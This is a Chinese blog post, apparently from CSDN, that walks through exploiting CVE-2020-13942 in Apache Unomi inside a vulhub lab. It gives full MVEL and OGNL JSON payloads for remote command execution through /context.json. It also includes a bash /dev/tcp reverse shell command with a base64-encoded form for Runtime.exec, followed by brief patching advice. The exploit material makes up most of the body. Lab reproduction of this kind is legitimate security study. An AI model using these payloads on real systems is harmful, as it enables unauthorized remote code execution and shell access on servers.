CVE-2020-13942 Apache Unomi 远程代码执行漏洞复现

26 篇文章 0 订阅
26 篇文章 1 订阅

0x00 简介

Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发,2015 年 10 月提交给了 Apache 孵化器。Apache Unomi 具有隐私管理、用户/事件/目标跟踪、报告、访客资料管理、细分、角色、A/B 测试等功能,它可以作为:Web CMS 个性化服务、原生移动应用的分析服务、具有分段功能的集中配置文件管理系统、授权管理中心。

0x01 漏洞概述

Apache Unomi允许远程攻击者使用可能包含任意类的MVEL和OGNL表达式发送恶意请求,从而产生具有Unomi应用程序特权的远程代码执行(RCE)。

0x02 影响版本

Apache Unomi < 1.5.2

0x03 环境搭建

  1. 使用vulhub环境进行搭建
https://github.com/vulhub/vulhub/blob/master/unomi/CVE-2020-13942/
  1. 使用以下命令启动环境
docker-compose up -d

image-20210820232844629

3.docker ps 查看运行安状况

image-20210820232914185

4.访问192.168.141.131:8181或者192.168.141.131:9443,即可搭建成功

image-20210820232946482

0x04 漏洞复现

  1. 使用bp进行抓包,通过MVEL表达式执行任意命令
{

  "filters": [

    {

      "id": "sample",

      "filters": [

        {

          "condition": {

             "parameterValues": {

              "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/max\");"

            },

            "type": "profilePropertyCondition"

          }

        }

      ]

    }

  ],

  "sessionId": "sample"

}

修改请求方式为 POST 在 /context.json 上进行

image-20210820233128611

2.执行如下命令进入镜像

docker exec -it a96ae81dab02 /bin/bash

image-20210820233156188

此时可以看到命令已经被执行了

3.通过OGNL表达式执行任意命令

{

 "personalizations":[

  {

   "id":"gender-test",

   "strategy":"matching-first",

   "strategyOptions":{

    "fallback":"var2"

   },

   "contents":[

    {

     "filters":[

      {

       "condition":{

        "parameterValues":{

         "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/doublemax\"))",

         "comparisonOperator":"equals",

         "propertyValue":"male"

        },

        "type":"profilePropertyCondition"

       }

      }

     ]

    }

   ]

  }

 ],

 "sessionId":"sample"

}

使用Burpsuite发包

image-20210820233335475

查看目标系统,可以看到已经成功创建 doublemax 文件

image-20210820233522998

4.利用此漏洞反弹shell

监听

image-20210820233415134

反弹shell命令

bash -i >& /dev/tcp/192.168.141.131/4646 0>&1

经该网址

http://www.jackson-t.ca/runtime-exec-payloads.html

编码后

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0MS4xMzEvNDY0NiAwPiYx}|{base64,-d}|{bash,-i}

将该命令作用到exec()函数上

使用 BurpSuite 发送即可获取shell

image-20210820233437647

0x05 防护建议

  1. 升级到安全版本https://unomi.apache.org/download.html

  2. 避免将关键数据作用到表达式中

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值